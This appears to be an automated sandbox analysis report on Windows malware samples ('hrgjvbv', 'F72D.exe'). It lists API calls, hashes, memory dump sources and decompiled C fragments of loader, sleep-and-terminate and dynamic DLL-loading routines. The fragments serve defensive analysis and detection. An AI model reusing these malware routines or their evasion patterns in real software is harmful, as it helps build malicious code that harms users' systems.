Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: af57afbcd372b5e94b4ea1c557a20e2abe9c6a336381785117975cc5614cb18a
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 1FB1C574A00208AFDB44CF98C895F9EBBB5FF88314F248158E908AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02BD0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02BD0533

Strings

d, xrefs: 02BD0584
mfoaskdfnoa, xrefs: 02BD0520, 02BD0523
saodkfnosa9uin, xrefs: 02BD04DA
0, xrefs: 02BD0492

Memory Dump Source

Source File: 0000000A.00000002.771744583.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 96658b593a286c19ec802e584457eb9596d25cadbd645fd541b4f92efbc48be1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 02512870D08388DEEB11DBE8C849BDDBFB2AF11708F144099D5487F286D3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02BD05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02BD05EC

Strings

o, xrefs: 02BD0600
apfHQ, xrefs: 02BD05E2, 02BD05E5

Memory Dump Source

Source File: 0000000A.00000002.771744583.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f39e2d4c6eb3a84f12d0b9b50b723686dbeb64a833a0b4ae66d28eaf71d005dc
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: F6011E70C0425CEADB10EBA8C5587EEBFB5AF41308F1484D9C4092B242E7769B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02BD0042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.771744583.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 52a9916aab63723b831b24b4f601dc976865556103cdd2500b7a4e8fdaba26f2
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 13118E72340104AFEB54EF65DC90FE673EAEB88320B5985A5ED08CB311E676EC01CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hrgjvbv PID: 6780 Parent PID: 1572 hrgjvbvCOMMON

Executed Functions

Function 00401812, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401812(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x00401812

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction ID: 66c4bf53945efb9eac17a29b63d6e60a7dc9cc17017cfcbb6067bf93f0ee6b10
Opcode Fuzzy Hash: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction Fuzzy Hash: EC011277548205EBEB007AA59C41AAA37289B05754F34C537FA12B80F1D67D8713A71F

Uniqueness

Uniqueness Score: -1.00%

Function 00401813, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00401813(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_push(0x184c);
				_t8 =  *_t23;
				L0040113B(_t8, _t16, 0x5c, _t21, _t22, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_t11 = L0040138D(_t20, _t25, _t17, _a8, _a12,  &_v8); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t20, _t21, _t22, _t26, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t19 = 0x5c;
				return L0040113B(_t13, _t17, _t19, _t21, _t22, _t26);
			}

0x00401813
0x00401822
0x00401827
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction ID: 7d9be0058e33673f170ed7bdf9e45501506609fca6745517c781ff617e647718
Opcode Fuzzy Hash: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction Fuzzy Hash: 9A014F77608205FBEB007AA59C41EBA362C9B04754F24C437BA03B80F1DA7C9712A76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 3.0, APIs: 2, Instructions: 46
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00401830(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t26;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t24 = __esi;
				_t22 = __edi;
				_t21 = __edx;
				_push(__edx);
				_push(0x184c);
				_t8 =  *_t28;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t31, _t17,  *((intOrPtr*)(_t26 + 0xc)),  *((intOrPtr*)(_t26 + 0x10)), _t26 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t22, __esi, _t32, _t17, _t11,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t22, _t24, _t32);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction ID: deb966eb77b9a567301be81d0aa6add722e5d663e7a56bf983217a5254dc7aad
Opcode Fuzzy Hash: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction Fuzzy Hash: D9F0E677608205EBEB007A959C41EBA36289B04755F34C437BA13B90F1DA7D9712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401833, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401833(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t22;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t22, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t22, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401833
0x00401833
0x00401833
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction ID: 618970b1dbb32a4db62a2ca4bba0e2ab9b1e6011c78eec4eed3c6938ee6c48e5
Opcode Fuzzy Hash: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction Fuzzy Hash: DFF01277604205FBEB047AE19C41EBA36289B04755F24C537BA13B80F1DA3C8712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401836, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401836(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi - 1;
				asm("invalid");
				asm("int 0x8e");
				L0040113B(_t8, __ebx, 0x5c, _t23, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t23, _t25, _t31);
			}

0x00401836
0x00401836
0x00401836
0x00401837
0x00401839
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction ID: a9217997abf11aa28aa6879baaed046148431452325da12b2764b37c26675c88
Opcode Fuzzy Hash: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction Fuzzy Hash: 17F0FF77604205FBEB01AAA19C41A6A36289F05355F248477BA12B90F1DA389652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401842, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401842(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(0xeb, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, 0xeb, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401842
0x00401842
0x00401842
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000B.00000002.783324827.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction ID: 04e1208274e68be980b74980f77298c45205cb64358d3d7bc66da16523479b8c
Opcode Fuzzy Hash: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction Fuzzy Hash: E5F03677604205FAEF007FE19C41EAA3728DF08759F248537BA12B80F1D5388612A72E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: F72D.exe PID: 6960 Parent PID: 3424 F72D.exeCOMMON

Executed Functions

Function 02E1BF86, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02E1BFCE

Memory Dump Source

Source File: 0000000C.00000002.785918218.0000000002E17000.00000040.00000001.sdmp, Offset: 02E17000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4adcbe9b911a9b5b10b0392d7286285740c3606dfa69a48ad9b9459260a48f8d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8EF062311407116FD7203AB69C8CB6E76E8AF4962DF14553CF642924C0DB70E9454A61

Uniqueness

Uniqueness Score: -1.00%

Function 02E1BC45, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E1BC96

Memory Dump Source

Source File: 0000000C.00000002.785918218.0000000002E17000.00000040.00000001.sdmp, Offset: 02E17000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ea43e76ffa5f30c0674a6ff51e88d3e753f3a7aa1f89aa61a8f67ab484dced7c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 59113C79A40208EFDB01DF98CA85E99BBF5AF08350F05C0A4F9489B361D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: F72D.exe PID: 5008 Parent PID: 6960 F72D.exeCOMMON

Executed Functions

Function 00401812, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401812(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x00401812

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction ID: 66c4bf53945efb9eac17a29b63d6e60a7dc9cc17017cfcbb6067bf93f0ee6b10
Opcode Fuzzy Hash: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction Fuzzy Hash: EC011277548205EBEB007AA59C41AAA37289B05754F34C537FA12B80F1D67D8713A71F

Uniqueness

Uniqueness Score: -1.00%

Function 00401813, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00401813(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_push(0x184c);
				_t8 =  *_t23;
				L0040113B(_t8, _t16, 0x5c, _t21, _t22, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_t11 = L0040138D(_t20, _t25, _t17, _a8, _a12,  &_v8); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t20, _t21, _t22, _t26, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t19 = 0x5c;
				return L0040113B(_t13, _t17, _t19, _t21, _t22, _t26);
			}

0x00401813
0x00401822
0x00401827
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction ID: 7d9be0058e33673f170ed7bdf9e45501506609fca6745517c781ff617e647718
Opcode Fuzzy Hash: 89745b0bfaaf1c7b55dfe8fa037d4d7c0223a41cfa17f4c26d190fbbe19b2ead
Instruction Fuzzy Hash: 9A014F77608205FBEB007AA59C41EBA362C9B04754F24C437BA03B80F1DA7C9712A76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 3.0, APIs: 2, Instructions: 46
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00401830(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t26;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t24 = __esi;
				_t22 = __edi;
				_t21 = __edx;
				_push(__edx);
				_push(0x184c);
				_t8 =  *_t28;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t31, _t17,  *((intOrPtr*)(_t26 + 0xc)),  *((intOrPtr*)(_t26 + 0x10)), _t26 - 4); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t22, __esi, _t32, _t17, _t11,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t22, _t24, _t32);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction ID: deb966eb77b9a567301be81d0aa6add722e5d663e7a56bf983217a5254dc7aad
Opcode Fuzzy Hash: f0b3e7d236e0b2aebba72a48561d88988893c2cfd0a9863272573b7202c77ad1
Instruction Fuzzy Hash: D9F0E677608205EBEB007A959C41EBA36289B04755F34C437BA13B90F1DA7D9712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401833, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401833(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t22;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t22, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t22, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401833
0x00401833
0x00401833
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction ID: 618970b1dbb32a4db62a2ca4bba0e2ab9b1e6011c78eec4eed3c6938ee6c48e5
Opcode Fuzzy Hash: 3be197aa96b37fb01e35ccc665f06a57c5b22eeab7c7f1fa4e7c4c0b74a31191
Instruction Fuzzy Hash: DFF01277604205FBEB047AE19C41EBA36289B04755F24C537BA13B80F1DA3C8712A72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401836, Relevance: 3.0, APIs: 2, Instructions: 41
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00401836(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi - 1;
				asm("invalid");
				asm("int 0x8e");
				L0040113B(_t8, __ebx, 0x5c, _t23, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(_t21, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, _t21, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t20 = 0x5c;
				return L0040113B(_t13, _t17, _t20, _t23, _t25, _t31);
			}

0x00401836
0x00401836
0x00401836
0x00401837
0x00401839
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction ID: a9217997abf11aa28aa6879baaed046148431452325da12b2764b37c26675c88
Opcode Fuzzy Hash: 6270efecb34b7a24ecfb20c25f7994d7e548ab66cc763392a0d1480e5281e59a
Instruction Fuzzy Hash: 17F0FF77604205FBEB01AAA19C41A6A36289F05355F248477BA12B90F1DA389652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401842, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401842(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ecx;
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t27;

				_t30 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				L0040113B(_t8, __ebx, 0x5c, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_t11 = L0040138D(0xeb, _t30, _t17,  *((intOrPtr*)(_t27 + 0xc)),  *((intOrPtr*)(_t27 + 0x10)), _t27 - 4); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					L00401460(_t17, 0xeb, _t23, __esi, _t31, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t13 = 0x184c;
				_t21 = 0x5c;
				return L0040113B(_t13, _t17, _t21, _t23, _t25, _t31);
			}

0x00401842
0x00401842
0x00401842
0x00401847
0x0040184c
0x00401854
0x00401862
0x00401867
0x00401869
0x00401873
0x00401873
0x0040187c
0x0040188b
0x0040189b
0x004018ac

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 0000000D.00000002.796980084.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction ID: 04e1208274e68be980b74980f77298c45205cb64358d3d7bc66da16523479b8c
Opcode Fuzzy Hash: b4b0a9984882ff5f2b6faabf12f6e8ec5eae452e92f205c2972abf1b7a202191
Instruction Fuzzy Hash: E5F03677604205FAEF007FE19C41EAA3728DF08759F248537BA12B80F1D5388612A72E

Uniqueness

Uniqueness Score: -1.00%

Function 00402679, Relevance: 1.5, APIs: 1, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00402679(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				intOrPtr _t13;
				struct _OBJDIR_INFORMATION _t15;
				void* _t16;
				void* _t20;
				void* _t22;
				UNICODE_STRING* _t23;
				intOrPtr* _t24;

				asm("cmc");
				L0040113B(0x26ab, _t16, 0x54, _t20, _t22, __eflags);
				_t17 = _a4;
				_t23 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t23, _a8);
				_t21 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t23,  &_v8);
				_t27 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x26ab);
				_t13 =  *_t24;
				L0040113B(_t13, _t17, 0x54, _t21, _t23, _t27);
				_t15 = _v8;
				asm("cld");
				return _t15;
			}

0x004026a4
0x004026a6
0x004026ab
0x004026ae
